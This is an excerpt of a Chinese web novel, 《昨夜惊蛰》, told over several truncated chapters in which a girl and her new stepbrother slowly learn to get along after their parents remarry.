《昨夜惊蛰》 1. 我哥 《昨夜惊蛰》全本免费阅读 六月初的太阳已经带了几分炙热,天上没有一丝云彩,阳光直射而下,就连空气都被晒的扭曲变形。 周依坐在照相馆门口,看着不远处互相整理仪容的两人,不由觉得虚幻。 她今天是来拍全家福的,跟她妈妈,还有那个她不怎么熟悉的中年男子。或者说,她改开口叫爸爸。 “依依快回来啊,坐那干嘛?” 一声轻唤让周依回了神,她默默抬头见张舒欣正朝着自己招手,轻声应道:“知道了妈妈,就去。” 周依起身嘴角咧了咧,像是在苦笑。 她的童年并不美好。在张舒欣离婚前家里的争吵打骂好比三餐,日复一日,哪怕曾经两人有再好的感情也经不住身心的摧残。 后来她便和张舒欣搬了出来,虽然那时只有她们个人,但日子也算过的充实。她以为她们会以后都会是这样安逸的生活,只是没想到后来张舒欣会遇到别人。 开始这两人都不准备举办婚礼,说是年纪大了简简单单领个证就行。可没过几天他们又不知道商量了什么,最后还是匆匆办了婚礼。 给周依的感觉就像是临时拼凑出来的戏台班子,各自唱着属于自己的戏码,接下来是否水深火热,她不知道。 张舒欣上前拉过周依,看着面前的中年男人问:“程毅,你见司远了嘛?这马上拍照片了,不好让摄影师等着呀。” 程毅愣了愣,四周环视一圈,忽然眼神一定,抬腿就向照相馆门外走去,啧声道:“这小子。” 周依眼神也随之望去,就见门外站着那个人的儿子。 只不过,她对他印象不是很好罢了,记得当初第一次见面那人就一脸寒霜,活像是欠他千八百万似的。 就连他的名字也是后来从程毅嘴里知道的,要不是听见过他说话,她一定会认为他是个哑巴。 或者……是个木头,就像现在这样。 炎炎烈日下,程司远已然被晒的满头是汗,脸颊也浮现出不自然的红晕,像是快要中暑。见程毅开门走出,也只是恹恹地抬着眼皮瞥了眼。 “怎么不进去拍照?”程毅问。 “全家福?”程司远反问道:“你不觉得可笑嘛?” 程毅眯了眯眼睛,拽着他推门而入,还不忘道:“要是觉得好笑,那就拍照的时候好好笑。” 程司远冷笑一声,刚想开口说话,抬眼就见周依已然站好位置,显然是在等他了,不由感觉心里一阵憋闷。 他以为他冷硬的态度让对方知难而退,只要她能跟自己一样反对,那这两人多少也会有些顾虑。至少……至少不会这么快就在一起。 “司远来了。”张舒欣笑道:“站这吧,和依依站一起。” 都说伸手不打笑脸人,更何况还是团笑着的棉花。 程司远抿了抿嘴唇,像是无奈似的叹了口气。棒打鸳鸯的戏码他终究是演不出来,无可奈何也只能接受,但要叫他和对方一样笑脸相迎,却是不太可能。 他被程毅按在身前,看起来是和周依是站在一排,但两人相隔的距离怕是能再站一个人了。 “来,看这里,要拍啦。妹妹和哥哥靠得近一点,笑一笑,太严肃啦。”摄影师看见他们四人站好,连声招呼道。 听到这句话,周依和程司远均是一愣,显然都被他口中的称谓吓了一跳。 不过,也是。 周依轻抿着双唇犹豫不止。一时间,不知道自己该动还是不该动。 她眼睛微微扫过身侧,发现程司远正面无表情地盯着自己。她心里一紧,急忙别过眼,身体都跟着变得僵硬起来,嘴角扯了扯,努力想让自己表现的开心一点。 但奈何心中苦涩波涛汹涌,哪怕她之前再怎么假装不在意,现在也是不能了。她嘴角抽动,最终还是没能如愿上扬。 张舒欣也有一瞬的怔愣,但很快又恢复平常,她伸手拍了拍周依的肩膀,往程司远身边拉的同时也顺势拉的离自己近了些,说:“依依没事,别紧张。” 周依很懂事也很听话,自然明白张舒欣的意思。 她深呼一口气、抬头、嘴角上扬,露出自己亮晶晶的大白牙。酒窝深深,卧蚕隆起,一派天真浪漫的小女孩模样。本来她就长得不错,这一笑起来就更可爱了。 而程司远就像是没听到摄影师说话一般,依旧一脸漠然,紧闭着嘴巴,没有半点儿要笑的意思。 程毅看了眼张舒欣,也伸手把程司远往周依身边推了推,让他们挨得更近些。 尽管程司远心中满是不情愿,但他还是离周依近了不少。之后便不再动,他像个木头人一样,呆呆愣愣地站在那里。 “诶对,妹妹笑的很漂亮,哥哥也笑一下,然后牵着妹妹的手,看镜头。”摄影师的声音再出传入他们耳朵。 程司远皱了皱眉,在这冷气开得十足的房间里,刚刚那没来得及散发出去的热,这会儿就像是一团火,憋在他身体里横冲直撞,让本就不太舒服的他更加耳鸣目眩。 程毅见他还没有动作,简直气不打一出来,抬手就是一巴掌,拍在他后背上。 那虽然力道不大,但程司远正值恍惚。这下,一个趔趄差点摔倒。 他下意识的想要去抓住身边的东西稳住身形,周依站的离他很近,也下意识的伸手去扶。 刹那间,“啪”的一声,程司远猛地抓住了周依的手臂。 他本就比周依大三岁,又是男孩,再加上周依本就不太高,在同龄的孩子里也算矮的,比较之下他要比周依高了快两个头。 这一抓程司远没收力,竟险些要把周依连带着一起拽倒。 周依被这股力拉地往前走了一步才稳下来,吃痛的紧咬着嘴唇忍住没有出声。 程司远一惊,脸上的表情再也不是冷冰冰的,木头人也稍微有了点人气。他刚站稳脚步便像拿了烫手山芋般立即松了手,说道:“抱歉,没站稳。” 声音里的疏远让周依的心猛地缩了一下。她尴尬地收回手,摇头道:“没、没关系,你小心,别摔了。” 说着,偷偷把自己微微泛红手臂往身后藏了藏。 张舒欣见这场景,连忙出声劝阻道:“程毅别这样,有话好好说。” 程毅刚想开口训斥,但听到这话又瞬即闭了嘴。他压下心头的不悦,说:“司远,别闹小孩子脾气了。人家要你笑你就笑,快牵着妹妹的手站好。” 程司远垂眸沉默几秒,站回原来的位置上,微微扬起嘴角勾出一个淡淡的弧度,又随意牵起周依的手。 但手掌相触,他心里却倏地一震。 好冰,是在害怕?刚刚……弄疼她了? 想到这,程司远心里不由生出一阵奇异的感觉,牵 2. 任务 《昨夜惊蛰》全本免费阅读 周依惊奇万分下意识的抬起头,就看见刚刚还在身后的“冰山”已然提着自己行李箱的把手,帮自己搬了上去。 她很惊讶,也很奇怪。她想不到这个冷冰冰的男生居然帮自己,同样也想不到为什么这个冷冰冰的男生要帮自己。 正在纳闷呢,那“冰山”就自己开了口:“我来吧,这你搬不动。” 他声音冷冷的,说完不等周依反应就径自提着行李箱走向电梯口。可刚走两步,他又忽然停下来,没有任何回头的意思,说:“那天你没受伤吧,弄疼了?” “啊?受伤?” 周依被程司远的一系列操作搞得晕头转向,一时间没反应过来他说的什么。心里不禁暗暗打着鼓,眼睛也跟着滴溜溜得转动。 那天,哪天?他在说什—— “么”字还没想完,她突然意识到什么,猛地睁大双眼,连忙摆手道:“啊,没有、不疼,我没事,没事。” 说着又觉得尴尬,她讪笑两声道:“你也不是故意的,没站稳而已,你不说我都忘了。” “嗯。” 程司远依旧没回头,轻飘飘嗯完提着两个行李箱就再次抬腿向电梯口走去。 “???” 周依眨眼,一脸问号。就没了? 她暗叹一声,见对方走远了也连忙快步跟了上去。直到她一只脚跟着程司远迈进电梯,才突然意识到事情的严重性。 如果自己上了电梯,那不就是跟他独处? 不行!这太尴尬了! 周依呼吸一滞,立刻就要把自己的脚收回去。可谁知这电梯门等待的时间居然这么短,她只是犹豫一瞬,电梯便要关了门。 “小心!”程司远一把将她拽进电梯道:“你在想什么?这样很危险!” 周依被吓坏了,心脏砰砰砰的跳个不停,冷汗涔涔,心有余悸道:“我……我不知道,对不起,我不是故意的。” 她声音带着些颤抖,程司远紧抿着嘴唇皱了皱眉。他总觉得这小孩儿干什么都小心翼翼的,张口闭口就是道歉,有点奇怪。 不过,这跟他没关系。 程司远眉毛舒展开,鼻腔里轻轻发出的一声,不知道是“哼”还是“嗯”。伸手按了电梯,不再说话。 霎时间,电梯内一片沉寂。 周依见“木头”真的变成了木头,忍不住心里的好奇就微侧着脸,偷偷瞟了他一眼。 见对方一脸阴沉,她心里又是一惊,连忙转开眼睛,不禁担心这木头是不是在生自己的气,万一给张舒欣告状那可就糟了。 她心里打着鼓,小心翼翼地试探道:“那个……谢谢你帮我搬箱子。” “叮咚”好巧不巧,电梯突然在这个时候到了。 程司远身体微动,点头轻“嗯”一声,即没有开口说话的意思,也没有要出去的意思,就站在原地一动不动。 周依愣住,这是干什么?怎么站在门口不出去呢? 她一脸疑惑,很是不解。她眨巴着眼睛看着他,同样站在原地,没有动作。 “走啊,不是到了嘛。”程司远见对方没有动静没好气道。 “啊?” 周依脑子里想了一万个原因,唯独没有想他是想让自己先走,急忙道:“奥,好啊。” 他好凶。 只不过这次电梯门等待的时间,好像比刚刚长了点。但这不重要。 程司远默默站直将脚收了回来,看着周依离开的身影,心里嘀咕道,不仅小心翼翼的,怎么还呆呆愣愣的? 他瘪瘪嘴,弯腰提起脚边的两个箱子,也跟着走了出去。 新家果然是大,不仅三室,而且还都自带卫生间。这下,足够他们一家人住了。 张舒欣看到两人一起进门,身上都是大包小包的,吓了一跳。尤其是程司远,他不仅背上背了一个,手上还提着两个大行李箱。 她连忙放下手中的扫把,伸手接过他们的行李,说道:“先把东西先放下,挺重吧。谢谢司远啊,还帮依依提箱子,真是好孩子。” 程司远侧身让了一下,伸手将周依的行李箱递给张舒欣,说:“我的行李我自己来就行。” 说完,他又抬头问:“我的房间在哪?” 三间卧室,主卧不用多说,自然是张舒欣和程毅的,可是剩下那一左一右的两间次卧该怎么分? 左边是他的,还是右边? 张舒欣动作滞了一下,笑着接过周依的行李箱,也没有再自顾自的去接程司远的行李,回应道:“奥,是这样,洗衣房旁边的房间稍微小一点就留给周依住了,对面那个稍微大点的给你住。” 她往前走了两步,指了指那个留给程司远的房间,有些尴尬地继续说:“但那个房间我和保洁阿姨还没扫干净,要不你先把行李都放到依依的房间?到时候扫好了你再拿过去。” 程司远闻言挑眉,收回已经准备走向小房间的脚。他原以为张舒欣会把大房间留给周依,也没想过能留给自己,听她这么说,顿觉有些意外。 但很快他又想到现在住的地方离周依学校那么近,而离自己学校又那么远,也就理所应当的接受了。 “嗯好,谢谢阿姨。”他说。 张舒欣一怔,苦笑着暗暗叹了声气。她原以为自己和程毅结了婚,程司远这孩子就会改口接受她,但显然是自己想多了。 也是,哪那么容易接受,总还是要有个过程。张舒欣也不强求,她相信总有一天他会认可自己。 周依站在旁边看着,没有说话。房间大小对于她而言,无关紧要。在她看来,只要能跟妈妈住一起,在哪都是好的。 但她听到程司远喊张舒欣“阿姨”时,瞬间睁大了眼睛,皱着眉毛很是生气。她本来都想好了,哪怕自己不是很愿意对程毅改口,可为了能让张舒欣开心,她还是愿意的。 而现在,她不了。 如果自己先改了,那岂不是委屈了妈妈? 不行!绝对不行! 周依在心里暗暗和程司远较着劲。本来她因为刚刚程司远关心她、帮她提行李都对他改观不少,觉得他这个人只是脸上臭臭的,其实心是暖的。 但此时此刻,她只觉得程司远就是一个毫不在意别人感受的大傻瓜。 谁跟傻子玩啊。 程司远把行李放好出来,路过张舒欣时,说:“我的房间就麻烦阿姨了,我还有行李就先下去了。” 张舒欣朝着他笑了笑,奈何对方的步子太大了,她刚想开口就发现程司远已经走到了门口,只能朝着他的背影说:“跟我不用这么客气,应该的。” 她抬腿走到程司远身边,继续道:“你下去搬东西的时候小心点,要是太重太大就别搬了,一会儿让搬家工帮你。别受伤了。” 程司远微微侧头:“嗯,知道了阿姨,先下去了。” 张舒欣 3. 骨气 《昨夜惊蛰》全本免费阅读 周依有点惊讶,她没想到程司远一副不苟言笑的样子居然还会看漫画。 难不成那人看漫画的时候也一脸严肃? 想到这,周依就觉得自己一身恶寒。她咧了咧嘴角,拿着书随便翻了几下,觉得没意思刚想放回箱子上,却突然被一个声音打断了。 “你在干嘛?” 程司远的声音在耳边响起,周依吓了一跳,她拿着书忙不迭站起身,像做了亏心事着急解释道:“不是我拿的,我没拿。是它、它自己掉下来的。” 程司远伸手拿过她手中的漫画书,冷笑问道:“我又没说什么,你这么紧张干嘛?” 周依一怔,觉得有些尴尬,不置可否地将手藏在身后,强装镇定道:“我没有啊,我没紧张。” “奥?那还是我说错了。” 周依不知道他这话是什么意思,刚想开口询问就见对方已经抬脚离开了。她偷偷瘪了瘪嘴,暗道,生气了?不至于这么小气吧,怎么脾气不好,心眼还—— 她心里还没有骂完,忽然又见程司远转了过来,活像背后长了眼睛。 霎时间,周依吓得五官都差点失去控制。她猛吸一口气,用力挤出一个看起来不是很假的微笑,冲着他使劲眨眼。 “你——” 程司远看着周依,上下打量了一番,晃了晃手里的漫画,说:“想看?” 周依:“?” 她脸上的笑容僵了一瞬,随即反应过来,立马点头附和道:“啊对,是、我是想看来着,哈哈。” 说完又尴尬地讪笑两声。 程司远挑眉了然。果然没错,她刚刚果然是想看,只是没想到被自己发现了,现在又一副谄媚的样子。这小孩儿还真是……难搞。 他兀自这样想着,鼻腔里像是发出了一声轻哼,缓步上前将书递给周依,说:“想看可以直接说。” “啊?给我?”周依有些诧异。 程司远没有说话,只是又将手里的书抬了抬,示意她拿着。 周依看到连忙伸手接过,尴尬道:“那……那谢谢你司——” “司”字说了一半,她突然顿住,紧抿着嘴唇,一副难以启齿的模样。 见她这幅样子,程司远挑眉,疑惑道:“嗯?什么?” “……”周依摇头不语。 程司远不解,难道一本不够看? 他伸手指了指自己身后的箱子,说:“那还有。” 周依愕然连忙摆手,轻咬着嘴唇有些难为情道:“我就只是想说,谢谢你,司远……哥、哥。” 最后两个字说得极为生涩。 霎时间,程司远将眼睛瞪得溜圆,一脸不可思议的看着面前这小孩儿,甚至怀疑自己听错了,问:“你叫我什么?” “没、没什么。”周依羞耻极了,满脸涨的通红,慌乱地别过头看向地上的书,试图转移话题,“要不先把书搬进我房间吧,别放在走廊了,一会儿该弄脏了。” 见对方没有回答自己的意思,程司远也没兴趣继续,垂眸扫了眼地上的书,又抬头看向自己的房间,说:“不用,我那儿也差不多打扫好了。” “那我帮你搬到房间。” “不用,这箱子你搬不动。” “没关系,我可以一本一本搬。” “……” 程司远蹙眉看着周依沉默不语,他不知道这小孩儿在打什么鬼主意。 “怎、怎么了?”周依被他看得有些心虚,眼珠在眼眶里胡乱地瞟动。 程司远冷笑一声道:“随便你。” 说完转身就走。不管是什么鬼主意,只要不妨碍他,无所谓怎么样。 见对方走了,周依如释重负般喘了一大口气,甚至感觉自己整个人都放松了不少。她转头看向一边正忙着打扫厨房的张舒欣,嘴里嘟囔道:“到底怎么才算好好相处啊……” 说完努了努嘴,转身回了房间。 太阳西沉,光线逐渐变淡,一弯新月悄悄升起,周围还有零星几颗星星发出微弱的光亮,乱七八糟的一天很快也落下帷幕。 张舒欣炒了一桌子的菜,程毅也给自己开了瓶酒,都在庆祝乔迁之喜。最后一道菜端上来时,周依和程司远也都收拾好自己的房间,走了出来。 程毅见两人过来,开口道:“依依、司远,快来吃饭了,妈妈做的都是你们爱吃的。” 他伸手指了指桌上的饭菜,说:“看看,糖醋里脊,依依最爱吃了,还有司远喜欢的水煮肉片。” 程司远走近顺势看了一眼,四菜一汤,确实丰盛。只不过—— “爸,她不是我妈。” 他不在意,淡淡的说完一句拉开身前的餐椅,就一屁股坐了下去。 原本程毅心情很是不错,但听了这句话脸上的笑容瞬间消失不见。正要开口训斥程司远,又忽然听到了周依的声音。 “好的叔叔,我最爱糖醋里脊了。我先去洗手,马上就来吃饭。” 她不等程毅反应,说完转身就去了洗手间。 程毅一怔,那准备训斥的程司远的话到嘴边转了个弯,又咽了回去。他抬头看向张舒欣,又见对方跟他摆摆手。示意他,没关系。 他吃了瘪,只好抿着嘴拉开餐椅,在程司远对面坐下,沉默不语。只是心里暗暗叹道,慢慢来吧。 对于周依的行为,感到最意外的还数程司远。他原本都已经准备好接受程毅的雷霆暴怒了,却没想到被她给化解了。 一时间,对她更是好奇。这小孩儿在想什么呢?故意的? 主角洗完手回来,端坐在椅子上。她倒不是特意帮程司远解围,只是觉得自己不能被他看扁了。相处是一回事,骨气却是另一回事。 至少在他喊张舒欣“妈妈”之前,自己绝对不会喊程毅“爸爸”就是了。 一家人,一桌饭,心思却是各不同。但人呢,又是一种神奇的生物,他们往往都会在不同中寻找相同,在跌宕中寻找平稳。 平日里程毅和张舒欣在公司,周依和程司远也都要上学,再加上两人上学的时间不同,其实白天也见不了多久,可能就晚上见得多一点。但也仅限于晚饭期间,程司远出来的时候。 以至于周依甚至感觉他在躲着自己,哦不、是躲着她们。 可这样的躲藏,在工作日还好,到了周末就不太管用了—— 那天周依早早的就把作业做完了,但因为刚搬了家,对这周围的环境也不是很熟悉,她并不想出去玩。 好巧不巧,这天张舒欣和程毅都临时加班,不打算回来,也就意味着现在家里只有她和程司远两个人。 周依现在对程司远可以说是五分忌惮,三分想亲近,还有两分不知所措。她站在程司远房间门口左右踱步,想要进去尝试跟他沟通,以好达到“好好相处”的标准,完成任务让张舒欣开心。 可踟躇半天,终究还是那五分忌惮稳占上峰。她叹了口气,百无聊赖地走向客厅,打开电视。选择 4. 缓和 《昨夜惊蛰》全本免费阅读 程司远声音故意拉长,玩味十足,嘴角的笑意更浓道:“说不定已经爬你房间了。” 听到这,周依是再也忍不住,眼泪扑簌簌往下掉。 “哇——哇——哇——” 哭的更厉害了。 程司远一惊,他没想到这小孩儿这么不禁开玩笑,也不敢犹豫快步上前,手足无措道:“诶不是,你别哭啊,我乱说的。” 周依仿佛没听见般,还是大哭个不止。 “对不起,我道歉,你别哭了。” 周依依旧大哭,甚至有更凶的趋势。 这下程司远彻底慌了,赶忙弯腰蹲下,手忙脚乱的不知道该怎么办才好。 他想伸手去捂她的嘴,但这动作实在不太友好,便又停下打算给她擦擦眼泪。可面对着像洪水决堤般的泪水,他觉得用手都是徒劳。 一时间,他两双手在空中摆了又摆,竟不知道该如何安放。 “哇——哇、咳咳、咳、哇——” 周依哭的更凶了,险些被口水呛到。 程司远皱着眉嘴巴里“啧”了一声,随后轻叹,仿佛下定了什么艰难的决定。 他的手在半空顿了顿,然后落下,轻拍着周依的后背,像是真心安慰道:“别哭了,我逗你的。” “哎呀,我、我乱说的,真的对不起,你别哭了。” 他声音有些生硬,一副极不熟练的样子。 周依扭头不理,伸手在脸上狠狠抹了一把眼泪。好在哭声小了许多。 程司远眉毛轻挑见有效,继续出声安慰道:“我再去认真找找,把它赶走。放心,它过不来。” 听到这话,周依哭声戛然而止,问:“真的? “???” 程司远看她,一脸诧异。这么突然吗? 但不管怎么样,好在是不哭了。他轻咳一声,缓慢起身道:“真的,我不骗人。” 周依抬头看着他没有说话,只是那双满是怀疑的眼睛看得程司远心里直发虚。他伸手揉了揉鼻子,转身道:“我这就去。” 说着,抬腿就向前走。 可是—— 程司远顿住,一脸纳闷地转头,视线下移至自己衣角,问:“你又拽着我干嘛?” 周依抿唇,试探道:“你……不害怕?” ”我?”程司远用手指了指自己说:“不怕,就算害怕我今天也把那虫子抓了。” 他不等周依反应,一用力将衣角抽回,走了。 “诶——” 周依开口想要叫住,又见对方冲自己摆手便闭嘴忍住了。她伸头眨巴着眼睛看着程司远,像极了好奇宝宝。 真的没事吗? 程司远把沙发的缝隙仔仔细细检查了一遍,他是真没看见哪有虫子,转头问:“确定在这?” 他又回头拿起抱枕上下查看,说:“可这真没有。” 周依皱眉向前走了一步,肯定道:“就在那啊,靠近扶——” 她话没有说完,突然猛地睁大眼睛,连退数步。 程司远看见,疑惑道:“怎么了?” “你、你快过来。”周依的声音似乎都在颤抖。 “不抓了?” 周依还没来得及再劝阻,她呼吸一滞,连忙伸手挡住自己的眼睛,大喊道:“司远哥哥小心!” “……” 半晌,没动静了。周依小心翼翼的张开指缝向外看去,却发现程司远不知道什么时候拿了张抽纸,正隔着纸捏起那个虫子左右端详,一副很认真的模样。 她一脸震惊,结巴道:“你、你真不怕?” 程司远拿着虫子看向周依,一脸无语:“这就是你说的,大……虫子?” 他绷着脸看向自己手里那还没有拇指指甲大的“大虫子”,更是觉得无语。 周依自然听懂了他话里话,觉得有些难堪。但嘴上却是不服,侧过脸道:“我还是个孩子,它对小孩儿来说,就是大!” 程司远喉咙里像是泄出一丝笑意,心道,这还是挺有自知之明嘛。小孩儿。 周依耳朵很灵听到他笑了,瞬间觉得自己被看扁了急得直跺脚,说:“你笑什么!我、我就是害怕嘛!害怕虫子怎么了!” 她说完又觉得自己面子上过意不去,便双手叉腰补充道:“但我不怕鬼!” “哦?”程司远随声附和道:“这么厉害呢。” “那是。”周依有点得意,觉得自己找回了面子。 “之前我妈妈经常加班,晚上都是我一个人在家,我一点都不害怕。而且我同学还告诉我,我们家附近闹鬼,反正说的可吓人了,别人都害怕,就我不害怕,那天我们还……” 程司远一边听着点头,一边把手里的虫子用纸团团包好,眼睛在沙发周围扫视了一圈,像是在找什么。 突然他眼睛一亮,发现沙发靠墙那侧放着一盆花,瞬即心里便有了答案。还真是从花盆里飞出来的。 这花不耐光,是他们当时搬家随手放在这的。只不过,这几天大家都顾着自己忙来忙去,倒是把它给忘了。 程司远抬腿走过去,将花盆端起,移至阳台外的阴凉处又折返回来。 周依讲得兴致勃勃一时忘乎所以,转头见程司远走来走去,还不知道什么时候拿了张湿纸巾,正仔仔细细擦着自己的手,像是有洁癖的样子。 她皱眉不满道:“你到底有没有认真听啊,我都讲完了。” 程司远嘴角微勾轻笑一声,不知道是嘲讽还是别的什么。他说:“你那个同学还是远离点好,不像是什么好人。” “你怎么知道!”周依听了有些激动,“我都还没跟你说呢,他就是可坏了,到处欺负人,最后我们都不跟他玩了。” “因为我聪明呗。” 周依愣住。不是,这人也太自恋了吧。 她刚想开口反驳,转眼又想到他刚还给自己抓虫子,再加上张舒欣交给自己“任务”,反驳的话到嘴边又咽了回去。她梨涡浅凹,笑容满满,决定放他一马。 “司远哥哥确实聪明。”她说。 刚准备回房间的程司远脚下一滞,她这不叫还好,这一叫他脑子里又飘现出刚刚那一声“司远哥哥”忽觉不好意思起来。他伸手摸了摸鼻子,说:“别这么叫,不习惯。” 周依摇头笑容更盛,说:“没关系,我多叫叫,会习惯的。” 她顿了顿,补充道;“司远哥哥。” 叮咚,任务初步完成。 闻言,程司远觉得自己耳朵有点烫,连忙扭过头道:“随便你。” 说完,就快步走向自己房间。可刚走几步,他突然又停住,偏侧着头 5. 背书 《昨夜惊蛰》全本免费阅读 自那天“大虫子”风波后,程司远对周依的态度好像也开始有了点变化。尽管不明显,但隐隐还是看得出来。 少了一开始的冷淡和漠然,偶尔也会主动和周依说说话,只不过话题中心基本都是日常生活,像是什么“出来吃饭了”、“作业做完没”、“今天家里没人”之类的。 虽说算不上喜欢,但看样子也是默认了这个“妹妹”的存在。 而周依则是为了完成张舒欣交给自己的“任务”,卖力地跟程司远“相处”,想快点让他看到自己的好。毕竟她的终极任务是让张舒欣相信才行。 她的逻辑是这样的,如果自己能跟程司远相处融洽,那么张舒欣一定会很开心,而张舒欣高兴了,自己才会很高兴。所以,这么看来其实讨好程司远就是讨好自己啊。 周依就秉持着这一逻辑,只要得了闲,看准时机就去讨好“自己”。 就像有天吃饭,她看到程司远的碗空了,就立马瞪着大眼睛,一脸期待地开口问他要不要添饭。 但程司远哪能同意,周依自己的饭都还是张舒欣盛的。他甚至有理由怀疑她是在憋坏,比如,让自己挨骂? 想到这,程司远就无语的一脸黑线,说不用。 还有一次,周依放学很早,再加上家离的也近,于是,她便早早的回家等着程司远。 到程司远放学回家刚进门时,她就迈着那小短腿,噔蹬蹬地跑过去说,“司远哥哥你回来啦,欢迎回家!” 一开始程司远还被周依这举动吓得不轻,不知道她葫芦里卖的什么药。但一来二去,天天如此,他也习惯了。 虽然每次都是用“嗯”来回复,但偶尔心情好了,他也会说“嗯,我回来了。” 这些点滴都被程毅和张舒欣看在眼里,他们嘴上没说什么,心里却满是欣慰。他们原本还担心两人会相处不好,但现在看来倒像是他们想多了。 虽然两个人都还没改口,但他们也不打算强迫,正所谓“强扭的瓜不甜”,觉得还是要等周依和程司远自己开口叫才行。 沉默无言的日子,时间过得倒是很快。程毅的公司逐渐有了起色,张舒欣也跟着忙前忙后,两人常常在公司一待就是一整天,有时候忙得紧了晚上都不一定能回来。 周依看在眼里也只叮嘱张舒欣别忘了休息,记得吃饭,或者让她别担心自己之类的贴心话,并没有哭闹耍小孩子脾气。程司远对她的表现十分意外,觉得跟自己的预想不太一样。 七月的天气总是阴晴难定,上一秒晴空万里,下一秒就可能乌云密布。 这天晚上,张舒欣和程毅刚在家吃完饭就接了通电话,说是公司有急事,今晚加班可能不回来了。张舒欣叮嘱周依定好闹铃,明天上学不要迟到,程毅则是安排程司远照顾妹妹,担任“家长”的角色。 周依自然是听话的,冲着两人离开的背影笑着摆手,说放心,注意安全。 而程司远却不是,那觉得麻烦的表情不加修饰的挂在脸上,面对程毅“断你财路”的再三威胁,也只是敷衍地“嗯”了声,算是答应了。 没办法,两袖清风的日子固然潇洒,但五脏庙多少还得祭拜一下。虽说程毅不会真断程司远“财路”,但拖一两周或者克扣一半倒是有可能。 他可不想给自己找难题,看个小孩儿罢了,这有什么难的? 其实也真没什么难的。那小孩吃完饭,就乖乖去写作业了。 入夜,路上的行人逐渐开始稀疏,空中黑云一片压着一片,像是有人不小心撒了墨汁,浸透了整片天。 周依写完作业,艰难地扭动着脖子,甩了甩写的发酸手,看着时针快指向十点的数字,瘪着嘴嘟囔道:“这作业怎么就这么多啊,写死我算了。” 抱怨归抱怨,学习她倒是不耽误。她成绩虽然不是第一第二,但也算得上出类拔萃。 周依三下五除二将书包收拾好,又抬手拿了面前的闹钟定了个七点的闹铃,想着去学校路上买个早餐吃正好来得及。 一切都收拾妥当已经是十点半了,她躺在床上透过窗户向外面,阴沉沉的,没有一点光亮,树叶也被吹地沙沙作响。怕是要下雨。 刚洗完澡的身体,仿佛感受到了窗外的冷意,周依往被子里缩了缩,把自己的半张脸都藏进了被窝。 半晌,她又忽然起身坐起,伸手按亮床边的小台灯,光着脚就跑到窗边拉帘子。 等躺回床上,她又嗅着鼻子觉得不太舒服,但奈何困意袭卷而来,挣扎了没两下便开始意识游离。可就在即将要进入莫奈花园时—— “轰隆隆” 天空传来一声沉闷浩荡的巨响,周依猛地睁开双眼,顿时睡意全无。她紧紧地抓着被角,将自己三分之二的脸都藏了起来,只留下那双大眼睛死死盯着窗帘间的那条缝隙。 一闪一闪的,真的打雷了。 如果要问周依怕什么,那她肯定说自己天不怕地不怕,但要除了……那三样。 第一样,那肯定是虫子了,不管大小照怕无误。 但这也不能怪她,谁让她之前被毒虫咬过呢,再加上又是过敏体质,别人被咬可能过个两三天,痒痒就没事了。她倒好,一周了都还是红红肿肿的,又疼又痒,可把她折磨坏了。 那第二样嘛,就是张舒欣了。 相依为命的日子过久了,她总是比同龄人多点成熟,也免不了心思更加敏感。她看着张舒欣每天奔波的身影,就想着自己也能为她做点什么。可年龄小是硬伤,能做的事情也屈指可数。 周依想得明白,既然没办法帮忙,那就尽量不要添乱。她能自己做的事情,就绝对不会麻烦张舒欣,就想着让她能闲下来,没事儿多休息休息。 至于这第三样,不想也知道是打雷闪电了。 小时候她生了一场病,连续高烧好几天都不见退。至于为什么生病她倒是记不太清了,就依稀记得那天张舒欣有事出门了,然后家里又来了什么其他的人,好像还发生了争执。 她被锁在门外,锁了好久,不管她怎么叫喊、怎么哀求,那扇门始终是关着。 那天和今天一样,大雨滂沱,雷声阵阵。 之后,每每遇到打雷闪电她总是能闻到一股血腥味。 一开始,她以为是下雨带来的土腥味,可后来她仔细观察过,如果光下雨她就闻不到。但只要有打雷闪电,那股血腥味就格外明显,掺杂着土腥味窜入鼻中,总引得她胃里翻江倒海,隐隐作呕。 周依将口鼻处的被子压紧了点,而那味道却像是长了眼睛,只要稍有空隙一不留神就吸了满腔。 “呕——” 她干呕一声连忙起身,想要喝水压下胃里那涨潮般恶心感觉。可刚伸手便又顿住,看着一旁空空如也的水杯,不禁皱了皱眉。 怪不得睡觉前她总觉得自己还有事情没干完,忘倒水了。 周依“啧”了一声,翻身下床,光着脚又去餐厅给自己倒水喝。 她蹑手蹑脚接了一杯热水,又小心翼翼地吹了吹,喝了一口。顿时,暖流入喉,自己心里那股恶心劲被压下去不少,鼻尖的血腥味也消散不少,周身都跟着暖了起来。 “呼” 她舒服的呼了一口气,刚准备抬腿回房间睡觉,没想到迎面就撞上一个人。 “你没睡?” 程司远的声音传入周依的耳朵,她闻声抬头,发现他也拿着杯子来接水。 周依连忙让开一步,说:“奥,司远哥哥。我睡了,刚刚被雷声吵醒了,来接杯水喝。” 说着,还伸手指了指自己手里的水杯。 程司远轻“嗯”一声,上前准备接水。忽然,他脚下一顿,垂眸瞟了一眼,淡淡道:“不穿鞋是准备做贼吗?” 周依“???” 她倒不是忘了穿鞋,她是不喜欢穿。每次赤脚站在地上,她总是有一种说不出来的舒服,或是觉得自由,又或是觉得只有光脚站在地面上才能体会到真实感。 但,做贼?什么意思? 程司远像是看出了她脸上的疑惑,好心的解释道:“不穿鞋悄咪咪的,不是做贼还能是什么?” 谢谢解释,下次不必了。 周依气不打一出来,说:“我喜欢,不行嘛?” 程司远“哼”了声,像是满不在意,又像是轻轻地嘲讽。他拿起杯子喝了一口,说:“睡吧。” 毕竟财路在前,自己还身负“照顾小 6. 体温 《昨夜惊蛰》全本免费阅读 屋外的雨依旧下个不停,雷声也不甘示弱,轰隆隆、卡嚓嚓,一声赛过一声。 好在屋内还算温馨,在暖灯的笼罩下周依终是没能战胜瞌睡虫的侵扰,嘴里又嘟囔了两句便没有动静了。 程司远看着睡着的周依发了愁,正在犹豫要不要把她叫起来回房间睡时,突然天空又是一道光闪,雷声也“轰隆隆”地追了上来。 他心里一惊,一口气提了上来,连忙转头看向卧在沙发一角的周依,有点期待这一声雷能把她吵醒,又有点紧张这一声雷会把她吵醒。 周依的身体动了动,像是被这雷声扰了清梦,又像是真闻到什么不好的味道,眉头蹙了蹙,脸向书下拱了拱。 看到她不再动作,程司远这才松了一口气。可刚松完他又觉得不对,自己不睡觉干嘛没事操心一个小孩儿有没有睡安稳,这也太奇怪了。 他心里“啧”了一声,随后理所应当的把这举动归结为“迫于金钱的威压”,他没办法。 